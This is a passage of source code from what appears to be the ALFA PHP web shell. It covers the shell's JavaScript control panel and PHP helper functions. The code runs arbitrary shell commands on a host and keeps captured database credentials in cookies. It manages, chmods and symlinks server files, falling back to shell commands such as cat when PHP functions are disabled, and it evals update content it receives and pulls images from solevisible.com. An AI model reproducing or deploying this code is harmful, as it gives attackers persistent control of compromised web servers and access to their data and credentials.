l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php 
        echo $GLOBALS["cwd"];
        ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php 
        echo $GLOBALS["cwd"];
        ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php 
        echo $_SERVER["DOCUMENT_ROOT"];
        ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php 
        echo "true";
        ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php 
    }
}
if (!function_exists("posix_getpwuid") && strpos(@ini_get('disable_functions'), 'posix_getpwuid') === false) {
    function posix_getpwuid($p)
    {
        return false;
    }
}
if (!function_exists("posix_getgrgid") && strpos(@ini_get('disable_functions'), 'posix_getgrgid') === false) {
    function posix_getgrgid($p)
    {
        return false;
    }
}
function alfaWhich($p)
{
    $path = alfaEx('which ' . $p, false, false);
    if (!empty($path)) {
        return strlen($path);
    }
    return false;
}
function alfaSize($s)
{
    if ($s >= 1073741824) {
        return sprintf('%1.2f', $s / 1073741824) . ' GB';
    } elseif ($s >= 1048576) {
        return sprintf('%1.2f', $s / 1048576) . ' MB';
    } elseif ($s >= 1024) {
        return sprintf('%1.2f', $s / 1024) . ' KB';
    } else {
        return $s . ' B';
    }
}
function alfaPerms($p)
{
    if (($p & 0xc000) == 0xc000) {
        $i = 's​';
    } elseif (($p & 0xa000) == 0xa000) {
        $i = 'l​';
    } elseif (($p & 0x8000) == 0x8000) {
        $i = '-​';
    } elseif (($p & 0x6000) == 0x6000) {
        $i = 'b​';
    } elseif (($p & 0x4000) == 0x4000) {
        $i = 'd​';
    } elseif (($p & 0x2000) == 0x2000) {
        $i = 'c​';
    } elseif (($p & 0x1000) == 0x1000) {
        $i = 'p​';
    } else {
        $i = 'u​';
    }
    $i .= $p & 0x100 ? 'r​' : '-';
    $i .= $p & 0x80 ? 'w​' : '-';
    $i .= $p & 0x40 ? $p & 0x800 ? 's​' : 'x​' : ($p & 0x800 ? 'S​' : '-');
    $i .= $p & 0x20 ? 'r​' : '-';
    $i .= $p & 0x10 ? 'w​' : '-';
    $i .= $p & 0x8 ? $p & 0x400 ? 's​' : 'x​' : ($p & 0x400 ? 'S​' : '-');
    $i .= $p & 0x4 ? 'r​' : '-';
    $i .= $p & 0x2 ? 'w​' : '-';
    $i .= $p & 0x1 ? $p & 0x200 ? 't​' : 'x​' : ($p & 0x200 ? 'T​' : '-');
    return $i;
}
function alfaPermsColor($f, $isbash = false)
{
    $class = "";
    $num = "";
    $human = "";
    if ($isbash) {
        $class = $f["class"];
        $num = $f["num"];
        $human = $f["human"];
    } else {
        $num = substr(sprintf('%o', @fileperms($f)), -4);
        $human = alfaPerms(@fileperms($f));
        if (!@is_readable($f)) {
            $class = "main_red_perm";
        } elseif (!@is_writable($f)) {
            $class = "main_white_perm";
        } else {
            $class = "main_green_perm";
        }
    }
    return '<span style="font-weight:unset;" class="' . $class . '">' . $num . '</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="' . $class . '">' . $human . '</span>';
}
if (!function_exists("scandir")) {
    function scandir($dir)
    {
        $dh = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}
function reArrayFiles($file_post)
{
    $file_ary = array();
    $file_count = count($file_post['name']);
    $file_keys = array_keys($file_post);
    for ($i = 0; $i < $file_count; $i++) {
        foreach ($file_keys as $key) {
            $file_ary[$i][$key] = $file_post[$key][$i];
        }
    }
    return $file_ary;
}
function _alfa_can_runCommand($cgi = true, $cache = true)
{
    if (isset($_COOKIE["alfa_canruncmd"]) && $cache) {
        return true;
    }
    if (strlen(alfaEx("whoami", false, $cgi)) > 0) {
        $_COOKIE["alfa_canruncmd"] = true;
        return true;
    }
    return false;
}
function _alfa_symlink($target, $link)
{
    $phpsym = function_exists("symlink");
    if ($phpsym) {
        @symlink($target, $link);
    } else {
        alfaEx("ln -s '" . addslashes($target) . "' '" . addslashes($link) . "'");
    }
}
function _alfa_file_exists($file, $cgi = true)
{
    if (@file_exists($file)) {
        return true;
    } else {
        if (strlen(alfaEx("ls -la '" . addslashes($file) . "'", false, $cgi)) > 0) {
            return true;
        }
    }
    return false;
}
function _alfa_file($file, $cgi = true)
{
    $array = @file($file);
    if (!$array) {
        if (strlen(alfaEx("id", false, $cgi)) > 0) {
            $data = alfaEx('cat "' . addslashes($file) . '"', false, $cgi);
            if (strlen($data) > 0) {
                return explode("\n", $data);
            } else {
                return false;
            }
        } else {
            return false;
        }
    } else {
        return $array;
    }
}
function _alfa_is_writable($file)
{
    $check = false;
    $check = @is_writable($file);
    if (!$check) {
        if (_alfa_can_runCommand()) {
            $check = alfaEx('[ -w "' . trim(addslashes($file)) . '" ] && echo "yes" || echo "no"');
            if ($check == "yes") {
                $check = true;
            } else {
                $check = false;
            }
        }
    }
    return $check;
}
function _alfa_is_dir($dir, $mode = "-d")
{
    $check = false;
    $check = @is_dir($dir);
    if ($mode == "-e") {
        $check = @is_file($dir);
    }
    if (!$check) {
        if (_alfa_can_runCommand()) {
            $check = alfaEx('[ "' . trim($mode) . '" "' . trim(addslashes($dir)) . '" ] && echo "yes" || echo "no"');
            if ($check == "yes") {
                return true;
            } else {
                return false;
            }
        }
    }
    return $check;
}
function _alfa_load_ace_options($base)
{
    return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="' . $base . '" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="' . $base . '" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\'' . $base . '\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\'' . $base . '\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\'' . $base . '\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2()
{
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4);
    echo "<div style=\"position:relative;\" fm_id=\"1\" id=\"filesman_holder_1\" class=\"ajaxarea filesman-active-content\"><div class=\"header\"></div></div>";
    alfaFooter();
}
function copy_paste($c, $s, $d)
{
    if (@is_dir($c . $s)) {
        @mkdir($d . $s);
        $h = @opendir($c . $s);
        while (($f = @readdir($h)) !== false) {
            if ($f != "." and $f != "..") {
                copy_paste($c . $s . '/', $f, $d . $s . '/');
            }
        }
    } elseif (is_file($c . $s)) {
        @copy($c . $s, $d . $s);
    }
}
function alfaFilesMan()
{
    if (!empty($_COOKIE['alfa_f'])) {
        $_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
    }
    if (!empty($_POST['alfa1'])) {
        switch ($_POST['alfa1']) {
            case 'uploadFile':
                $move_cmd_file = false;
                $alfa_canruncmd = false;
                if ($GLOBALS['glob_chdir_false']) {
                    $alfa_canruncmd = _alfa_can_runCommand(true, true);
                    $move_cmd_file = true;
                }
